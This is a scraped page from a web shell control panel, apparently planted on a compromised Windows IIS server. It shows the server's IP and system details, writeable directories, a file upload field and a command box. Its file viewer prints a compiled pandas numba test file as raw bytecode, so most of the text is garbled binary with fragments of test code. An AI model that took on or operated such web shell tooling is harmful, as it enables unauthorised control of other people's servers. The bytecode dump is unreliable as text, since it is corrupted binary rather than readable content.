403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python312/Lib/site-packages/pandas/tests/groupby/transform/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python312/Lib/site-packages/pandas/tests/groupby/transform/__pycache__/test_numba.cpython-312.pyc
�

/	�g�%��
�ddlZddlZddlmZddlmZmZmZddl	m
ZejjZd�Zd�Zejj#d�ejj%ddd	g�ejj%d
ddg�ejj%d
dd	g�d�����Zejj#d�ejj%ddd	g�ejj%d
ddg�d����Zd�Zejj%dddgdddgdd�g�d��Zd�Zd�Zd�Zejj#d�d��Zd�Zd�Zd�Zy)�N)�NumbaUtilError)�	DataFrame�Series�option_contextc��tjd�d�}tgd�gd�d�ddg��}tjtd	�
�5|jd�j
|d��ddd�tjtd	�
�5|jd�dj
|d��ddd�y#1swY�SxYw#1swYyxYw)N�numbac��|dzS�N����xs �KC:\Python312\Lib\site-packages\pandas/tests/groupby/transform/test_numba.py�incorrect_functionz;test_correct_function_signature.<locals>.incorrect_functions���1�u����ar�brr���?�@g@g@g@��key�datarr��columnszThe first 2��match��engine��pytest�importorskipr�raisesr�groupby�	transform�rrs  r�test_correct_function_signaturer(s���
���� ���)�3L�M�����D�
���~�]�	;�J����U��%�%�&8��%�I�J�
���~�]�	;�R����U��F�#�-�-�.@��-�Q�R�R�J�J��R�R�s�
#B?�&C�?C�Cc��tjd�d�}tgd�gd�d�ddg��}tjtd	�
�5|jd�j
|dd��ddd�tjtd	�
�5|jd�dj
|dd��ddd�y#1swY�TxYw#1swYyxYw)
Nrc��|dzSr
r��values�indexs  rrz6test_check_nopython_kwargs.<locals>.incorrect_function$�����z�rrrrrrrznumba does not supportrr)r rr!r's  r�test_check_nopython_kwargsr/!s���
���� ���)�3L�M�����D�
���~�-E�	F�O����U��%�%�&8��A�%�N�O�
���~�-E�	F�W����U��F�#�-�-�.@��TU�-�V�W�W�O�O��W�W�s�
$C�'C
�C
�
C�ignore�jitTF�
pandas_objrr�as_indexc�P�tjd�d�}|rddl}|j|�}t	gd�gd�d�ddg��}|||d	�}	|jd|�
�}
|dk(r|
d}
|
j
|d|	��}|
j
d
�d��}tj||�y)Nrc��|dzSr
rr+s  r�funcz"test_numba_vs_cython.<locals>.func:r.rrrr�rrrr��nogil�parallel�nopython)r3r�r �
engine_kwargsc��|dzSr
rr
s r�<lambda>z&test_numba_vs_cython.<locals>.<lambda>L�
��1�q�5�r�cythonr�	r"r#rr1rr%r&�tm�assert_equal)
r1r2r9r:r;r3r6rrr=�grouped�result�expecteds
             r�test_numba_vs_cythonrH2s������� �����y�y�����%�*C�D�q�RS�f��D�$��x�P�M��l�l�1�x�l�0�G��X���!�*��
�
�
�t�G�=�
�
Q�F�� � ��� �B�H��O�O�F�H�%rc�l�tjd�d�}d�}|r&ddl}|j|�}|j|�}t	gd�gd�d�ddg�	�}|||d
�}	|jd�}
|dk(r|
d}
|
j
|d|	��}|
j
d
�d��}tj||�|
j
|d|	��}|
j
d�d��}tj||�|
j
|d|	��}|
j
d�d��}tj||�y)Nrc��|dzSr
rr+s  r�func_1ztest_cache.<locals>.func_1Yr.rc��|dzS�N�rr+s  r�func_2ztest_cache.<locals>.func_2\r.rrrrr7rrr8rr<c��|dzSr
rr
s rr?ztest_cache.<locals>.<lambda>nr@rrArc��|dzSrMrr
s rr?ztest_cache.<locals>.<lambda>rr@rc��|dzSr
rr
s rr?ztest_cache.<locals>.<lambda>wr@rrB)
r1r2r9r:r;rKrOrrr=rErFrGs
             r�
test_cacherSQs6������ ��������6�"�����6�"���%�*C�D�q�RS�f��D�$��x�P�M��l�l�1�o�G��X���!�*��
�
�
�v�g�]�
�
S�F�� � ��� �B�H��O�O�F�H�%�
�
�
�v�g�]�
�
S�F�� � ��� �B�H��O�O�F�H�%��
�
�v�g�]�
�
S�F�� � ��� �B�H��O�O�F�H�%rc�<�tjd�d�}tgd�gd�d�ddg��}|jd�}|j	|d�	�}td
d�5|j	|d�	�}ddd�t
j|�y#1swY� xYw)Nrc��|dzSr
rr+s  rrKz&test_use_global_config.<locals>.func_1~r.rrrr7rrrrzcompute.use_numbaT)r"r#rr%r&rrC�assert_frame_equal)rKrrErGrFs     r�test_use_global_configrW{s���
���� ���%�*C�D�q�RS�f��D��l�l�1�o�G�� � ��� �8�H�	�+�T�	2�8��"�"�6�$�"�7��8����(�F�+�8�8�s�B�B�agg_func�min�max�sum)�B�Cc��tjd�|\}}tgd�gd�d�ddg��}|jd�}|j|fddi|��}|j|fdd	i|��}tj||�|dj|fddi|��}|dj|fdd	i|��}tj||�y)
Nrrrr7rrrr rA)r"r#rr%r&rCrV�assert_series_equal)rX�numba_supported_reductions�kwargsrrErFrGs       r�test_string_cython_vs_numbarb�s������� �1��H�f��%�*C�D�q�RS�f��D��l�l�1�o�G�
�W�
�
�x�
B��
B�6�
B�F� �w� � ��E�(�E�f�E�H����&�(�+�
!�W�Q�Z�
!�
!�(�
E�7�
E�f�
E�F�#�w�q�z�#�#�H�H�X�H��H�H����6�8�,rc�l�tjd�d�}tgd�gd�d��}|jd�d}|j	|dd�	�}td
gdzd��}t
j||�|j	|d
d�	�}tdgdzd��}t
j||�y)Nrc�*�||dj�S�N)r[)r,r-�ns   r�sum_lastz&test_args_not_cached.<locals>.sum_last�s���q�b�c�{��� � r)rrrr)rrrr)�idrrhrrrr�)�name�r)r"r#rr%r&rrCr_)rg�df�	grouped_xrFrGs     r�test_args_not_cachedrn�s���
���� �!�
�,�\�:�	;�B��
�
�4� ��%�I�
�
 �
 ��1�W�
 �
=�F��s�e�a�i�c�*�H����6�8�,�
�
 �
 ��1�W�
 �
=�F��s�e�a�i�c�*�H����6�8�,rc��tjd�d�}tgd�gd�d�gd���}|jd�j	|d�	�}tgd
�dggd���}tj||�y)
Nrc��|dz
Sr
rr+s  r�fz+test_index_data_correctly_passed.<locals>.f�s���q�y�r)�Arrr\)rirN�)�group�v)���������)r-rtr)g�g�g�ru)rr-�r"r#rr%r&rCrV)rqrlrFrGs    r� test_index_data_correctly_passedrz�sg��
���� ��
�_�9�=�\�	R�B�
�Z�Z��
 �
*�
*�1�W�
*�
=�F��+�c�U�,�O�H����&�(�+rc�����tjd�d�d�d����fd�}���d�}tdgd�i�}|jd�	�j	|d|�
�}tdgd�i�}tj||�d����d�}|jd�	�j	|d|�
�}tdgd�i�}tj||�y)
NrTFc�����z�zSrer)r,r-r9r;r:s  ���r�func_kwargsz2test_engine_kwargs_not_cached.<locals>.func_kwargs�s����x��(�*�*r�r;r9r:�value)rrrr)�levelr<)rrr)rrrry)r}r=rlrFrGr9r;r:s     @@@r�test_engine_kwargs_not_cachedr��s�������� ��E��H��H�+�"*�E�x�P�M�	�G�Y�'�	(�B�
�Z�Z�a�Z�
 �
*�
*��G�=�+��F��'�?�3�4�H����&�(�+��E�!)�E�x�P�M�
�Z�Z�a�Z�
 �
*�
*��G�=�+��F��'�?�3�4�H����&�(�+rc�6�tjd�d�}tdddd�g�jddg�}|||d	�}|j	d�j|d|�
�}tdddd�g�jddg�}t
j||�y)Nrc��yr
rr+s  r�
numba_funcz+test_multiindex_one_key.<locals>.numba_func����rrrk��rrr\r]rrr\r~r<r)r"r#r�	set_indexr%r&rCrV)r9r:r;r�rlr=rFrGs        r�test_multiindex_one_keyr��s���
���� ��
�!�!�!�,�-�	.�	8�	8�#�s��	D�B�!)�E�x�P�M�
�Z�Z��_�
&�
&��7�-�'��F�����4�5�6�@�@�#�s��L�H����&�(�+rc�,�tjd�d�}tdddd�g�jddg�}|||d	�}tjt
d
��5|j
ddg�j|d|��ddd�y#1swYyxYw)
Nrc��yr
rr+s  rr�z;test_multiindex_multi_key_not_supported.<locals>.numba_func�r�rrrkr�r�rrr\r~zmore than 1 grouping labelsrr<)r"r#rr�r$�NotImplementedErrorr%r&)r9r:r;r�rlr=s      r�'test_multiindex_multi_key_not_supportedr��s���
���� ��
�!�!�!�,�-�	.�	8�	8�#�s��	D�B�!)�E�x�P�M�	���*�2O�	P�
�
�
�
�C��:��(�(��w�m�	)�	
�
�
�
�s�&B
�
Bc��tjd�|\}}tgd�gd�tjjd�j
d�tjjd�j
d�d��}|jddg�}|j|fd	di|��}|j|fd	d
i|��}tj||�y)Nr��foo�barr�r�r�r�r�r���oner��two�threer�r�r�r�rk��rrr\r]�Drrr\r rA�r"r#r�np�random�default_rng�standard_normalr%r&rCrV)r`�	reductionrarl�gb�res_agg�expected_aggs       r�test_multilabel_numba_vs_cythonr��s���
���� �2��I�v�	�I�M����&�&�q�)�9�9�!�<����&�&�q�)�9�9�!�<�		
�
�B�
���S�#�J�	�B��b�l�l�9�?�W�?��?�G��2�<�<�	�E�(�E�f�E�L����'�<�0rc��tjd�tgd�gd�tjjd�j
d�tjjd�j
d�d��}|jddg�}|jd	�d�
�}|jd�d�
�}tj||�y)
Nrr�r�rkr�r�rrr\c�l�||j�z
|j�|j�z
zSre�rYrZr+s  rr?z5test_multilabel_udf_numba_vs_cython.<locals>.<lambda>s'��v��
�
��4������
�
��9T�U�rrc�l�||j�z
|j�|j�z
zSrer�r
s rr?z5test_multilabel_udf_numba_vs_cython.<locals>.<lambda>s&��1�q�u�u�w�;�1�5�5�7�Q�U�U�W�#4�5�rrAr�)rlr�rFrGs    r�#test_multilabel_udf_numba_vs_cythonr�
s���
���� �	�I�M����&�&�q�)�9�9�!�<����&�&�q�)�9�9�!�<�		
�
�B�
���S�#�J�	�B�
�\�\�U����F��|�|�5�h���H����&�(�+r)�numpyr�r"�
pandas.errorsr�pandasrrr�pandas._testing�_testingrC�mark�
single_cpu�
pytestmarkr(r/�filterwarnings�parametrizerHrSrWrbrnrzr�r�r�r�r�rrr�<module>r�s����
�(���
�
�[�[�
#�
#�
�R�"W�"�����H�%��������u�
�.��������+�'>�?�������d�E�]�3�&�4�@�/�&�
&�4�����H�%��������u�
�.��������+�'>�?�#&�@�/�&�#&�L
,�"������%����u�e�n�5�(I�J��-��-�"-�$
,�,�8�����H�%�,�&�,�
�1�",r

Youez - 2016 - github.com/yon3zu
LinuXploit